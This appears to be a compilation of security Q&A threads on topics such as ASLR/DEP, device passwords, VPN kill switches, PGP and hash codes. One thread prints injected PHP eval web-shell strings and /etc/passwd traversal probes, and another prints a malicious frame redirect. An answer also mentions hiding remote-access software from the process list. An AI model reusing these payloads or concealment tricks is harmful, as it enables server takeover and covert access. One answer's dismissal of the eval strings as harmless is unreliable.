When threads are created, their stack base location is randomised. This is done by finding 32 appropriate locations in memory, then choosing one based on the current TSC shifted masked into a 5-bit value. Once the base address has been calculated, another 9-bit value is derived from the TSC to compute the final stack base address. This provides a high theoretical degree of randomness.

Finally, the location of heaps and heap allocations are randomised. This is computed as a 5-bit TSC-derived value multiplied by 64KB, giving a possible heap range of 00000000 to 001f0000.

When all of these mechanisms are combined with DEP, we are prevented from executing shellcode. This is because we cannot execute the stack, but we also don't know where any of our ROP instructions are going to be in memory. Certain tricks can be done with nop sleds to create a probabilistic exploit, but they are not entirely successful and aren't always possible to create.

The only way to reliably bypass DEP and ASLR is through an pointer leak. This is a situation where a value on the stack, at a reliable location, might be used to locate a usable function pointer or ROP gadget. Once this is done, it is sometimes possible to create a payload that reliably bypasses both protection mechanisms.

Sources:

Windows Internals 5th Edition - Mark Russinovich
An Analysis of ASLR in Windows Vista - Symantec
ASLR on Wikipedia
DEP on Wikipedia

Further reading:

Stack-based exploit writing - CoreLAN
Bypassing stack cookies, SafeSEH, SEHOP, HW DEP and ASLR - CoreLAN
Bypassing ASLR/DEP - exploit-db


Password for embedded devices in automatic deployment We are working with commercial embedded devices, where we install our software. Then, they are deployed in different client sites. The embedded devices have an Ethernet port and a console port for debugging and recovery. They are connected to the Internet and we need to access them remotely using ssh.
By default, the devices have a linux user and a password set by the manufacturer. Currently, we change that password manually and use it for ssh access and sudo instructions. Moreover, we set a password for root user to avoid getting locked out in emergency mode. Our clients never access the device, we are the only ones. As a result, there will no to be a user-generated password. Moreover, we want to maintain the option to use the debugging port in case of need.
Now, we are planning to scale. Therefore, we would like to automate the password setting.
I have been reading some other questions about passwords in embedded devices (1, 2) but they deal mostly with how to choose the password and not with how to set it. Also, in the answer to this question, it is suggested to use ssh with public-key cryptography instead of passwords. However, even if we stop using our user password for ssh, we still need to set a password to override the manufacturer's one that can be used in the debugging port.
I have come up with a possible solution for what to do when deploying a new device:

Generate a password in our server. It will be stored there for us to check it if needed.
Deploy our setup script in the device and have it reach our server for the password to set.

OR

Send a text file with the password to the device, to be deleted after initial setup.

What is the best option for step 2?
Is there a better procedure for password management in this scenario?

In beginning I should mention password is not good security solution.
As per your explanation you are want to access device some times, and no user is login to that particular device.
Your password or security management should be based on data you are processing or storing on device. In addition to that you might have legal bindings as well.
You can use synchronous password. Google authenticator app use same technology. If you need highly secured password, generate dynamic password on your server and synchronize time to time. Time duration can be vary 1 minute to 1 hour/day. Then even password is disclose after specific time period it will be disabled. This is required to have proper time synchronization mechanism between server and client.
Asynchronous password management also possible for device authentication, This is not time based and purely based on algorithm. Until password is used, it will be active. Password can generate with specific hardware devices. It does not require connectivity between devices and hardware token.
But both of these technologies are using secondary factory of multi-factor authentication. But i think this will be okay.


How to block an application with iptable which use random port Scenario:

My goal was to allow TeamViewer to connect to my home workstation from my laptop only. So I have tried to bind my laptop's MAC with an IPtables rule as following,

[arif@arif:~]$ sudo iptables -I INPUT -p tcp --destination-port 5938 -m mac ! --mac-source xx:xx:xx:xx:xx:xx -j DROP
[arif@arif:~]$ sudo iptables -I INPUT -p udp --destination-port 5938 -m mac ! --mac-source xx:xx:xx:xx:xx:xx -j DROP

According to this article Teamviewer first try to connect through port 5938, then 443 then 80. But blocking these port (luckily I am not using any web serivice) doesn't stop Teamviewer to connect from an unknown device. Then I've tried to check which port Teamviewer is using to connect,

Before connect, port using by TeamViewer daemon

[arif@arif:~]$ sudo netstat -tulpn | grep teamviewer
tcp        0      0 127.0.0.1:5940          0.0.0.0:*               LISTEN      24323/teamviewerd

After Connecting with remote destop,

[arif@arif:~]$ sudo netstat -tulpn | grep teamviewer
tcp        0      0 127.0.0.1:5940          0.0.0.0:*               LISTEN      24323/teamviewerd
udp        0      0 0.0.0.0:42275           0.0.0.0:*                           24323/teamviewerd

So I thought now I have to block port 5940 and 42275 instead of 5938 and I did as following,

[arif@arif:~]$ sudo iptables -L | head -n 4
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       udp  --  anywhere             anywhere             udp dpt:42275 MAC ! xx:xx:xx:xx:xx:xx
DROP       tcp  --  anywhere             anywhere             tcp dpt:5940 MAC ! xx:xx:xx:xx:xx:xx

But when I tried again to connect, it got connected successfully and this happened,

[arif@arif:~]$ sudo netstat -tulpn | grep teamviewer
tcp        0      0 127.0.0.1:5940          0.0.0.0:*               LISTEN      24323/teamviewerd
udp        0      0 0.0.0.0:34775           0.0.0.0:*                           24323/teamviewerd

And there is nothing going on port 80 and 443,

[arif@arif:~]$ sudo netstat -plnt | grep ':80'
[arif@arif:~]$ sudo netstat -plnt | grep ':443'
[arif@arif:~]$

Question:

How can I block these kinds of application which use random port to connect.

Why not just whitelist the ports that you want to access instead of trying to blacklist every single one of them? You know that YOU will want to connect to your device, whitelist the services that you will be using and you should be good to go.


Are reproducible builds practically possible on major app stores? 'Reproducible builds' ensure that a published app matches the published open source code. This answer gives some great information on it.
But numerous sources1,2 indicate reproducible builds are very difficult (or even impossible) to implement in practice on major app stores.
Some reasons listed include:

app store processes and idiosyncrasies that alter source code
complexities in software versions and compilers
app thinning
any random generators in the build process

And:

Usually, different compilations of the same code will not result in the same binary, even when using the same version of libraries, compiler, target, etc.

Given the concept of a 'reproducible build' is quite new, (its wiki page is less than 5 years old), and that methods may improve in coming years, is it reasonable to expect reproducible builds for entire apps in practice (i.e. on major app stores), or do insurmountable factors limit reproducible builds to being theoretically possible (and possible for a small subset of apps), but practically difficult if not impossible for most apps?

1 https://news.ycombinator.com/item?id=23396499
2 https://web.archive.org/web/20200527063225if_/https://github.com/immuni-app/immuni-documentation/blob/master/Technology%20Description.md#reproducible-builds

The answer is no, and that's because most major app stores require signing and generally the signature process used includes a timestamp.  Timestamps are inherently non-reproducible.  This is the case for both phone app stores and computer app stores.
If you wanted to ignore signatures, it probably is possible.  Debian does it, and many pieces of software used during builds are probably already patched upstream by now.  It may require a post-processing step for certain files, though, which most developers will not implement.  So it is not reasonable to expect that anyone but the most security-conscious developers will implement it.  For example, Signal does it for Android, but most developers do not.


hide_my_wp wordpress plugin is activated with php eval function that might trying to read /etc/passwd? Is it true? When I install this plugin and activate in wordpress, hide_my_wp put some eval codes in wp_options and I see the following code being injected in a new row with the ID called 76624:
upload-dir=./../../,z=@eval/**/(${'_P'.'OST'}[z9]/**/(${'_POS'.'T'}[z0]));, #=eval("echo 10000000000-245205634;");, x=../../wp-config.php, mdocs-img-preview=../../..-/wp-config.php, data=../../..-/wp-config.php,coco=@eval(base64_decode($_POST[z0]));,filename=../../../../../../../../../etc/passwd,q071238=echo '%%%' . 'q071238' . '%%%';,

From what I have seen, this pattern ../../../etc/passwd is used by PHP code to read /etc/passwd in server. May I know if anyone also notice the same, should I worry about this ? I'm not 100% sure what the code does, but anyone is using this plugin and found this? Why the eval function is there ?
By the way I bought it directly from codecanyon, not the null version.

Many bots actively scans internet and look for vulnerabilities using well-known URL locations of the commonly used applications like Word-Press.
It seems to be the advertised aim of the plugin to change and hide the common paths to prevent such attacks. So, I would not be alarmed with the line you posted. It seems iti s just putting it into a variable. You need to look at its rest of the code to underrated what it is doing.
But, the plug-in (https://wordpress .org/plugins/hide-my-wp/) seems to be a copy-cat of another popular plugin and they mention that on their website:

Important! This is not the Hide My WP Nulled version of the Hide My Wp
Codecanyon plugin.

The original plugin seems to be this one and it is a paid product:
https://codecanyon .net/item/hide-my-wp-amazing-security-plugin-for-wordpress/4177158
One of the major security problem with WordPress is plugins. There are too many, very easy to use and people doesn't maintain them after initial install (or author abandons the plugin and security issues that comes up over time never gets fixed). So, it is best to use well reputed plugins from publishers who can sustain it over time. That usually means paying them.
That being said, I don't have experience with these plugs-in so I can't vouch for their security.


Facebook sometimes drops SSL. Why? I observed that sometimes my facebook https connection changes to http after using the site for a while. Is it possible for ISP or somebody in between to do such a thing by throttling the net speed ? Or, how such a thing is possible ? I thought facebook, like google, is always https. Also, this happened when I have installed https everywhere plugin for mozilla.

Not all apps in Facebook support HTTPS, so if you're playing games on Facebook or use other third party apps you will get a notification that these apps are only accessible via HTTP. When you proceed your connection will degrade to HTTP.


rdp connection with netcat pivoting I want to connection from local computer to another local computer. I have 3 machine. for example

A: 192.168.1.50 -> in local windows machine
B: 50.3.52.110  -> linux server
C: 192.168.5.25 -> in another local windows machine

(Machines A and B are not on same local network.)

I would like to connect using RDP or VNC from machine A to machine C. I wanted to find out whether I can connect from A to C over B. How can I do this?

I tried connecting with netcat, but without success.

Using ssh would be the easiest, enable the GatewayPorts and Forwarding features on the Linux ssh server,  on host C run:(plink also works with the same command line)

ssh -R 0.0.0.0:3389:127.0.0.1:3389 user@linux -N

And rdp to the Linux ip.


Site stores cookie name and user id in script tag after login. Is this an issue for either xss or session highjack? Upfront I will say that this is not my website and that I am simply doing a general audit (for non security issues), but ran across this in the source after logging in. Another script tag for analytics has the logged in users email address which happens to be the username for logging into the system. Is having this information potentially an issue, and if so how can I create a test to show this; notably the session id based on the session name?

I want to be responsible in disclosing this, if indeed it is an issue. My first attempt was appending a basic script alert window to the url grab some of the data but the url was sanitized by the system.

<script>
        var USER = {
            Name: "John Doe",
            idSubject: "5555",
            isLoggedIn: "5555"
        };

        // handle condition for user logged in
        USER.isLoggedIn = (USER.isLoggedIn !== "") ? USER.isLoggedIn : false;

        var APP_PATH = "somesite.com";
        var USE_CACHE = "1";
        var FRAMEWORK_PATH = "somesite.com/framework";
        var DEBUG_MODE = 0;
        var APP_TIMEZONE = "EST";
        var COOKIE_NAME = "FOO_SESS";
    </script>

No, including the cookie name or username in the page is not an issue.

The session/cookie name is not secret information, everybody can see it. [Including the content of the cookie on the other hand would be a minor problem, as session cookies are generally supposed to be httpOnly to mitigate some of the risks of XSS].

The users email address also should not be a problem, as it isn't really that sensitive, and can likely be accessed somewhere else anyways (eg via the profile page).

Your main question seemed to be if including these two pieces of information in the page is a problem. Regarding the other question: We can't really answer if you have an XSS vulnerability without knowing how the user input is actually sanitized by the system.


Why do VPN's need a "killswitch" in their clients? Why is it not simply implemented at the OS level? I have used a few VPN services in the past, and one thing I have noticed in their clients is that they often feature a "killswitch", in order to kill your internet connection in case the VPN ever goes down, to prevent the user from not noticing that the VPN has died, and accidentally sending traffic through an insecure channel. That makes sense to me - most OS's, if they detect one connection go down will automatically switch to whatever else is available.

What I don't understand is, if this is such a prominent need for VPN connections, why don't OS's seem to have this feature "baked in"? Some way to say, "Send ALL TRAFFIC through this one tunnel interface, and NO OTHER INTERFACES should be used." It seems like in many use-cases for VPNs, the ability to direct ALL traffic through the tunnel (and none through ANY other interface) is critical.

I have seen workarounds with e.g. setting up routing tables in Linux to accomplish this, but it seems like such a strong need that one would expect OS's to have it baked into the VPN settings.

Is there simply not demand for this feature at the OS level? Or is there some technical reason why it is particularly difficult/tricky to implement?

A VPN is not something too special from the OS perspective. It is essentially just another (virtual) network interface. And routing specifies which traffic is forwarded through which interface, i.e. it can be most traffic through the VPN, it can be only selected traffic through the VPN ("split VPN") etc.

A "kill switch" is nothing special either. It is just a routing rule or local firewall rule to make sure that sensitive traffic (i.e. all non-local traffic for a typical use of a VPN) will never be send out to any network interface except the VPN interface. In other words, it is just setting up rules for a secure fallback in case the VPN dies. And while these rules are setup from user space, they actually end up to be implemented in the OS kernel.

Calling this kind of setup a "kill switch" is just marketing. There is no switch at all which gets actively triggered if the VPN dies. It is only that the previously setup secure fallback rules get implicitly used if the VPN dies.


Locate rogue wireless access point using Kismet data Is there any way how to use Kismet data to locate rogue wireless access points?

Sure this is possible.  There's a couple of ways to approach it.

The easiest way is to run kismet then as you're running it look for your Rogue access point appearing on the list of access points seen.  When it does, lock the channel that kismet is looking on to the channel being used by your rogue access point (this gives a clearer signal than if kismet is hopping over a number of channels)

Then look at the signal strength being shown and wander around the area until you get the strongest signal you can. At that point I generally find that the AP is within 10-15 feet and just looking around the area will spot it (unless someone has deliberately hidden it from you)

Another option is to use directional antennas and triangulation to try to locate the AP, but I'd suggest that in the first instance you just go based on signal strength.

If you have other tools available besides kismet, I'd actually recommend airodump-ng for locating access points as from an interface point of view it can be easier to look at the signal strength on that as you're walking around.

Also if the AP is not cloaked you can used Android tools like "wifi Analyzer" which work pretty well for this kind of thing and which can be easier to carry around.


Issues setting up DVWA for SQLMAP I am starting on sqlmap, and have dvwa for practicing web app penetration.

I am having the error "Could not connect to the database - please check the config file."

Not sure what the problem is but I have been searching. Nothing seems to be working. I have mySQL running on Linux, created a database.

Any help is appreciated.

Thanks,

XcutionX

I faced the similar issue and after some trial and error, stumbled upon following solution.

Stop the XAMPP control panel.
Go to ..\XAMPP\mysql
Find resetroot.bat and execute it.
Proceed with entering random key when prompted.
Restart XAMPP control panel.

Now, when you try to connect to DVWA, the browser should land you on the Login Page.

Solution: The bat file clears the passwords for 'root' and 'pma' user.

Note: Make sure you have $_DVWA[ 'db_password' ]= '' in your config.inc.php file

Worked for me! Good Luck !!

PS: I encountered this issue after a successful DVWA site crawling using BurpSpider. i.e Everything was working fine and all of sudden I encountered mysql error. If anyone knows the root cause then explanation will be of much help.


How to prepare a report on security weakness in our software I am part of an in-house development team that provides the software that is used in our company's factories across the world for production as well as for order management, and which also enables the sites to share data with each other across our WAN.

I have been recently tasked with the following objective to be completed within 4 months:

  Produce a report giving a risk analysis of the security weaknesses in our software suite and infrastructure, with current and proposed
  mitigations.

This will be the first time that this kind of analysis is performed on our system and, not having any significant security experience, I am not sure where to begin.

So, my question is: how should I best approach an analysis of the risks and vulnerabilities of an enterprise software system and the infrastructure that surrounds it?

Or, to put it another way, how should I break down the task of analysing the security of our system and our infrastructure?

Please note that there is a separate team at another site that is responsible for general network security.

Are there any recommended resources (websites, books, etc) to which I should refer?

Risk assessments are really an ongoing task, because your report will produce a result which is based on the known vulnerabilities as of today. Obviously new vulnerabilities are being discovered all the time, so the risk assessment must be carried out periodically in order to give your management the most current information.

There are different types of risk assessments which could apply to this situation.

If you are an analyst and wish to understand if and where you have vulnerabilities, then an automated vulnerability scanner could be used to produce an assessment of the application and infrastructure it is running on. Take a look at Nessus or Qualys, however there are many other options.

If you are a software engineer or similar and you have a good understanding of the business requirements and process flow of the application in question, then you could undertake a threat modelling exercise. This will allow you to analyse the data flows and data models to identify areas of risk. This can help to define security controls which can be implemented in the software application itself. It can also identify areas where other diverse controls, such as firewalls, IDS/IPS or WAF, may be deployed.

If you have already deployed your application and you need to understand if it is vulnerable to compromise, where those vulnerabilities are and what the impact of the vulnerabilities are to the data, then a penetration test may be useful.

For a more mature organisation, then risk management is a continuous process that leads to continual improvement. Look into ISO 27001 and ISO 27005 for a standard approach to information security risk management.


How do I diagnose this SSL error? I followed the suggestions in this discussion for diagnosing a client-side SSL error, but I don't know how to interpret the result.

The openssl command for www.plex.tv returns a good certificate.  But when I try to login at https://www.plex.tv/sign-in/ Chrome strikes out the https and shows "Not Secure." I get an error message when I proceed to login.  This happens on Firefox as well as Chrome, and it happens from any computer on my home network.  I am able to login from an android phone over the cellular network.

FYI I ran the SSL command on a Synology NAS which also runs on my home network.

If it was an ISP problem, wouldn't the openssl command return a bad certificate?

The following steps will help you diagnose the SSL errors you receive in Chrome.

Firstly, after going to the site which generates the error, press the F12 key to bring up the Chrome DevTools.  Select the Security tab item to see more about the certificate and the SSL connection:

If there's a problem, it will be highlighted in Red.  In this case, the certificate is signed with the weak, deprecated SHA-1 algorithm:

If the error complains about the certificate in some way, you can click on View Certificate to get more information.  For  example, it's good to check the Certification Path to make sure the certificate appears to be legitimate:

If you'd like to learn what effect the different "bad" configurations will have on Chrome, you can explore the sites from Bad SSL:


Is connection to keyserver encrypted? When you retrieve someone's information from a keyserver to add him to your pgp keyring, that is made through unencrypted keyservers, unless the user uploaded it to https://keyserver.pgp.com/. Even then, since keyservers sync with each other, people will normally add you from http connections, like when using hkp://keyserver.ubuntu.com.

So the whole who adds whom is always in the clear?

Yes, it is more or less consubstantial to the Web of Trust in OpenPGP. In the Web of Trust, you can validate a public key by building a chain of public keys, each signed by the previous public key, from a key you trust (yours) down to the key to verify. This works only as long as you can recover such a chain, mostly by interrogating key servers. In fact, since the WoT is an "everybody is a certification authority" system, you should build several such chains, with no common link, so that all these redundant proofs add up into some decent level of trust in the target public key.

One way to see that is the following: by signing the key of somebody else, you vouch for the link between the identity and the key of that somebody else. You announce to the World at large: yes, this is his key, I verified it. It makes little sense to make such an announcement... without actually making the announcement. By definition, key signing is meant to be public.

PGP's Web of Trust is indeed at odds with privacy. Although "PGP" stands for "Pretty Good Privacy", PGP's Web of Trust was never meant to hide the existence of the relationship between people.See p. 90, "Avoiding the Web of Trust," of PGP & GPG: Email for the Practical Paranoid by Michael W. Lucas.


How to generate short fixed length cryptographic hashes? I am trying to implement a kind of email verification system with a node.js server with no state.

The strategy

User sends his email to the server
Server generates a 4 digits code based on the email address and sends it to the user via email.
User sends back the received code via email + the email address to the server
Server re-generates the 4 digits code based on the email and compares it with the code sent by the user.

My implementation to generate the 4 digits code

Create a HEX digest using HMAC SHA-256 hash function
Take the first 3 characters of the digest
Convert them to an integer
If length < 4, concatenates one or multiples 0 at the end

const crypto = require('crypto')

const get4DigitsCode = (message) => {
  const hash = crypto
    .createHmac('sha256', Buffer.from(SECRET_KEY, 'hex'))
    .update(message)
    .digest('hex')

  const first3HexCharacters = hash.slice(0, 3)

  const int = parseInt(first3HexCharacters, 16)

  let code = int.toString()
  code =
    Array(4 - code.length)
      .fill(0)
      .join("") + code

  return code
}

After generating codes for 8293 email addresses, I noticed that I had 4758 duplicates. Is it normal to have this amount of duplicates for a code as this sort? Is my strategy and my implementation secure (ability to guess the code)?

The service is a mobile app, email based (a "mail to self" app). I want a 4 digit code for UX reasons. The user can read the code from the email client notification, easily memorize it and type it in the app (that he never leaves). No tedious copy and paste, not leaving the app, simply read and type. I know that multiple emails would generate the same code, but it doesn't matter as it is just for validating emails. Also I will protect the APIs against brute-force.

Can someone guess the code with this strategy (what are the risks or possible attacks?) and is my current implementation correct?

UPDATE

A better implementation thanks to @duskwuff's answer :

const crypto = require('crypto')

const get4DigitsCode = (message) => {
    const hash = crypto
        .createHmac('sha256', Buffer.from(SECRET, 'hex'))
        .update(message)
        .digest('hex');
    const first4HexCharacters = hash.slice(0, 4);
    const int = parseInt(first4HexCharacters, 16) % 10000;
    let code = int.toString();
    code =
        Array(4 - code.length)
            .fill(0)
            .join('') + code;
    return code;
};

The cryptographical hash function with output size n has √n collision with probability 50% due to the birthday paradox.

You took 3 hexadecimal digits which means you get 12 bits. After 26=64 hash generations, you will see a collision with 50% probability.

Collision in hash functions is inevitable due to the fixed-sized output space but the arbitrary length of input space. Pigeonhole Principle tells us that collision is inevitable.

If you want low collision probability you have to use larger output as 128-bit. For 128-bit we expect at least one collision in 264 hashes with 50% probability.

We are not accepting that the system is secret, we assume it is known. E-Mails are not secret and any attacker can create his code by using your source code. An attacker or a group of attackers can try to attack your system due to short token. The mitigation is increasing the token size.

For most applications using read("/dev/urandom", 16) will be fine or you can use HMAC($email, $key) without trimming. Copy and paste shouldn't be a problem for the user.

If you need higher resistance you may use digital signatures; first hash the e-mail then sign.


What happens when encrypting with private key? I have a theoretical question. There is a public key-system. Person1 wants to privately send a message to person2. From my understanding, person1 is supposed to encrypt their message with public key. What happens if person1 would use their private key for encryption instead? Is the message still private or it can be read by others?

Regards,
Filipe

For encryption, person 1 encrypts their message with person 2's public key, not with their own public key. Then only person 2 can decrypt it, since only person 2 has the matching private key.

Encryption with the private key is used to prove authenticity. If person 1 encrypts a message with their own private key then person 2 can decrypt it with person 1's public key, which proves that person 1 originated the message since it could only have been encrypted with their private key.

All of which assumes that you have a secure and verifiable way for persons 1 & 2 to exchange public keys, which is always the difficult bit.


Does RNG play a role in PGP signing? We have a Jenkins system that builds and PGP-signs software releases, and we are considering moving the signing component to an isolated VM instead of running it as part of the overall builder infrastructure -- in order to better isolate the private keys from all the other relatively public moving parts.

A few developers are arguing against using a VM, since VMs usually have few sources of good entropy and therefore are not generally well-suited for cryptography. I want to put forth a counter-argument that since we'll be using PGP keys generated elsewhere, the only crypto operations that will be done on that VM will not be relying on RNG at all. My understanding of PGP signing process is that it calculates a sha1/sha2 hash (no RNG used) and then calculates the signature using the private key (no RNG used).

Is that correct? Or am I missing something that would make strong RNG a requirement for a system that only PGP-signs but never PGP-encrypts?

Unfortunately the previous answers given to this question, are not only wrong, but also quite dangerous.

While it is certainly true that digital signatures usually involve hash functions, which by its nature are inherently deterministic, you should note that digital signatures are more than just a simple hash. They involve public key cryptography, which is used in a way that guarantees only the legitimate owner of a private key is able to sign something. There are quite a few digital signature algorithms, with the following being used widely in practice:

RSA
DSA and its elliptic curve equivalent ECDSA
ElGamal

At least DSA, ECDSA and ElGamal do absolutely require random numbers by design. Reusing a random number, can lead to the recovery of the private key. This is trivially easy and can be understood by anyone interested in the topic with only a few very basic equations.

There have been all sorts of attacks in the past exploting this very fact. Probably the most prevalent example is the hack of the PlayStation 3, which brought us the following xkcd comic:

With RSA on the other hand it is not that easy. "Schoolbook" RSA does not require random numbers. However it is possible for an attacker to perform existential forgery attacks on simple RSA implementations. Therefore in practice modified schemes are used, which might operate in a probabilistic way. The basic idea is that valid signatures have to satisfy a certain form. One such standard is called Probabilistic Signature Protocol (PSS).

GPG has all of the above schemes implemented. By now RSA seems to be the default on most systems. RFC 4880 states that OpenPGP makes use of EMSA-PKCS1-v1_5, which is a deterministic padding scheme and does indeed not require random numbers.

So, in essence: Yes, digital signatures do require random numbers and it might be a bad idea to use virtual machines for such tasks. At least it is something to consciously think about.


"pagesinxt.com" links in the sourcecode, am I being hacked? At this moment I am being hacked and I do not know to stop it. Let me explain...

My website is hosted in a VPS where I am the only person who has access to it. The page is builtwith Codeigniter(updated), and Doctrine (updated too).
Once I browse to at index.php I see this code in source:

<frameset rows="100%,*" frameborder="no" border="0" framespacing="0">
    <frame src="http://pagesinxt.com/?dn=eqtisad.u13.biz&fp=uG6gKivovi4x8JjEAROV%2FTKBtIWD%2Blle7UNutYwxGdAyGVrZoBm5Bekjw2z7vZmvYE9r56BxR%2FdwKJnOW1e8aQ%3D%3D&prvtof=QNdLHvfpmQDcCjmfkLp0UoTOm9%2FlbsSY5zwRjXbMEDs%3D&poru=ZFDh3zFdBl8oLoFKYzmbIrndO0AsgI5yGs9la3B3DvUnOwJwZj4aeWo5bo5PRkvlGhqLFIwXyhV4DxStH7tHRS%2FbB902y5I8kPm7LLxSgJ0%3D&flrdr=yes&nxte=gif">
</frameset>
<noframes>

    Click here to proceed.

</noframes>

Somethings that I do not understand

If a open the index.php the code is correct (original code), so.. how is possible to see the code above in the browser, but by ftp the file is ok?
I have never been attacked before, so, what should be the first guidelines to review? what should be a correct troubleshooting in order to find/minimize the hole security?
(Here I am getting most confused). This hack is intermittent, because when I press F5 the hack disappear for 2 or 3 minutes, but it comes back again! I am very scared :(

If the script appears in the source for the page, but when you look at the source for the page on the server you aren't seeing it, one of several things could be happening.

1) It could be your computer that is infected with malware, and not the server, and the injection is coming from something running on your computer.

2) The injection is coming from an external file referenced by the page, such as a server side include, or an external JavaScript file that is writing the malicious code.

3) The injection could be coming from somewhere else in the response process, like a response filter that modifies all response streams before returning them to the client.

A quick search tells me that others have seen similar malware being delivered via an external JavaScript reference, so that is the first place I'd look.  See if you page is referencing any JavaScript files that contain any code you don't recognize or understand.   It likely will be obfuscated, and so will not look like what you see in the page source.


How can Stolen Laptop tracking softwares survive OS reinstall? Some softwares such as Computertrace claim that it can survive on a laptop even if the thief successfully reinstalls the operating system, reformats the hard drive, or (in some laptop models) swaps out the hard drive. How could this happen? Won't all the data associated by the software with the computer be erased?

Some software vendors partner with BIOS makers (e.g. Absolute) so that even if an operating system is re-installed, on network connection, the BIOS may be able to send back relevant information. Many of these products are gimmicky, for example LoJack can be blocked at a firewall/network level that will disallow it from phoning home.

These types of software are primarily aimed at someone needing low level security versus highly secured laptops/network/data whose attackers are determined threat actors. Meaning, they're aimed at someone likely to be exposed to say common theft (drug user, someone taking it to a pawnshop), versus someone on a state level who would likely remove the disk for data. (Remember data is worth a lot more than a laptop).

EDITED

I needed to expand on this a little on the downfalls of using applications like these. When applications like these DO detect the location of a laptop, the reality is, what can they do, and what are they determining for you? They will retrieve a network based location nothing more. They will not give you information on how to get the device back, so most offer a "wipe data now" feature, which works (again) for low level attackers. The reality is, they will return output to you stating: "Your machine is located on network 10.10.10.1" which means little given that any ISP will not give you information on say one of their users using DHCP on that network. For that you would need a court order.

Nowadays, you can modify Team Viewer to act as a similar "phone home" application if you modify your registry. In modifying your registry, you can remove the visuals showing Team Viewer from the toolbar, from the process manager, and so forth. Malware authors have taken to do this at times.


Email password asked when trying to convert pdf to word, is this a phishing site? This morning, while trying to convert a .pdf file to Word at Nitro, I was asked for my email address first to send the converted file. This is very natural. But as soon as I hit the Convert Now button, another box appeared asking for a password.

I found this to be extremely suspicious and aborted the job then and there.

Is this a phishing site or am I missing something here?

I did not find any feature for membership registration at the site so I don't think that this is a membership password.

As pointed out in the comments, this is most likely a registration form for a user account. Thus it is not asking your email account password but asking you to input a new password for this specific site, registering as a user.

This is most often done in an effort to make a service easy to use and reduce the so called "hassle hurdle" that usually entails lengthy registrations forms prior to service usage.

In this simple form, you can probably simultaneously register and use the service, but there seems to be UI missing to convey that information.

Nonetheless, because you hopefully do not practice password reuse, you should be fine just using a new password for this site and use it.

While it is not exactly clear to me as to why a registration is needed, this is probably dictated by their business model and/or legal reasons.


How to secure an embedded linux image I'm building an image with openwrt sdk and i want to secure my image (by encrypting filesystem for example).. How can i do that to prevent anyone from seeing my sscripts or programs running ?

Don't give anybody physical access to a device that's running your image. If they have physical access to the device, they can read your image. Encryption wouldn't do any good since the decryption key would have to be readable.

If the device has some tamper-resistant storage such as a TPM or a smart card, this raises the bar somewhat: someone who wants to read your image would have to snoop on some data bus (which requires a bit of equipment). But still, if the device can run it, so can anyone who is physically present.

Obviously, the image should be secured during transport. But since the transport is between locations that you control (from your development machine to the physically secured device), this shouldn't be a problem.

Don't give anyone shell access to the device. You can get away with a sufficiently restricted shell access (no administrative powers), but really, on a WRT system, there's nothing to warrant that.


Public e-mail Encryption Certificate I'm quite new to this, so don't be too hard on me.

I'm currently using the CipherMail MTA to generate e-mail encryption certificates. I created an own CA and public and private keys for our contact mail adress.

I want to post the public key and the certificate on our website so that clients may encrypt mails toward us, but have difficulties understanding how it would be verified by our clients, seeing that the issuer of the certificate is our own CA. Should I post the Certification Authority as well? Is it safe to do so?

If I do so, then each client that wants to send us encrypted mails would have to install the CA in their e-mail client and then install the certificate. Is there an easier way?

When we talk about this sort of set-up (I do not claim knowledge of the specific product), its generally along the lines of PKI.

http://en.wikipedia.org/wiki/Public_key_infrastructure

You are correct, generally speaking.

Normally one buys a CA certificate, and thus do not have to distribute the CA certificate. When one have a 'local' CA, normally the user have to download the certificate (containing the public key) somehow and set it as trusted root locally to have various browsers or third-party software working properly.

Again I speculate from general experience, not specific experience in your product.

In the case of for example PGP, trust/certificates are distributed through specific public servers where you can search and publish.

PGP and similar can be used with Outlook through plugins.


How secure is the UNIX sha_crypt as a password storage algorithm? So I have been working on password storage, especially on the algorithms to use (and to not use).

Most people are recommending scrypt or PBKDF2 for valuable reasons, but I have not seen any talks about the sha_crypt algorithm so far. What are the pros and cons of using this algorithm, and why do people prefer bcrypt/PBKDF2/scrypt to it?

SHA256crypt and SHA512crypt was described by Ulrich Drepper here. He provides an algorithm and implementation, but unfortunately not a security analysis, any proof that this algorithm is secure, or any insight in his design decisions. This makes it hard to analyze the security of the algorithm.

The algorithm is pretty much like PBKDF2, in that it performs many iterations of a hash. Like PBKDF2, it does not require a lot of memory to compute. This means that it can easily be computed on hardware with many cores with little memory, such as GPUs.

Scrypt and bcrypt were specifically designed to need some memory when computing them, which means they are better resistant to parallel computation on specific hardware.


Top contenders to replace passwords? Passwords and humans don't mix particularly well. We can't come up with random ones very well, we can't remember random ones very well, we re-use them (I'm talking about all humans here, maybe not those of you who browse this stackexchange), when we do come up with unique random ones we have to hide them behind a single point of failure in a password manager. Additionally, a lot of vendors/providers/websites store them improperly, either in plaintext or using a weak or fast algorithm.

However, they remain ubiquitous.

My question is two-fold:

when used with a second-factor, is the whole system (password+2nd factor) strong enough as a whole that the disadvantages of passwords become irrelevant?
Assuming the answer to the first question is "no, password disadvantages make the system too weak", what alternatives are there for us to use in the future?

I can imagine there are alternative technologies which are production-ready but which network effects prevent from breaking through into the mainstream. Or are there any technologies which are nearing the end of development? Or has no-one thought of a good alternative?

Will the replacement simply be something else we know (referring to the factors in security: something you know, something you have, something you are). Or will we move away from that model completely?

Technology that's ready that can't compete with network effects?
Technology ideas which need wrinkles ironing out?

When used with a second-factor, is the whole system (password+2nd factor) strong enough as a whole that the disadvantages of passwords become irrelevant?

For most purposes, having a second factor is probably sufficient to outweigh the problems with passwords, assuming the rather important condition that you implement the second factor correctly.  In particular:

You need a properly defined recovery mechanism that's still secure.  The OTP recovery codes that are provided by many sites which support 2FA are a good example of this being done right.
You need proper support for allowing multiple independent second factors.  For example, allowing association of multiple U2F keys with a given account, or multiple fingerprints, or multiple TOTP apps.  The reason this is important is that unlike a password, the second factor is usually not trivial to replace, so having an emergency backup is important.

  Assuming the answer to the first question is "no, password disadvantages make the system too weak", what alternatives are there for us to use in the future?

I don't think there really are any that are anywhere near ready, largely because they have their own issues which are arguably much more complicated to deal with than passwords.  Biometrics are still pretty easy to fool and aren't even entirely reliable to begin with.  Hardware security devices are generally a joke as they are currently implemented, and are far easier to lose than passwords.  Other technologies have their own further issues.

Beyond that, I'd like to actually challenge the premise of the question.  You seem to imply that the issues are inherent to passwords, but I would argue that they all stem from how they are typically used.

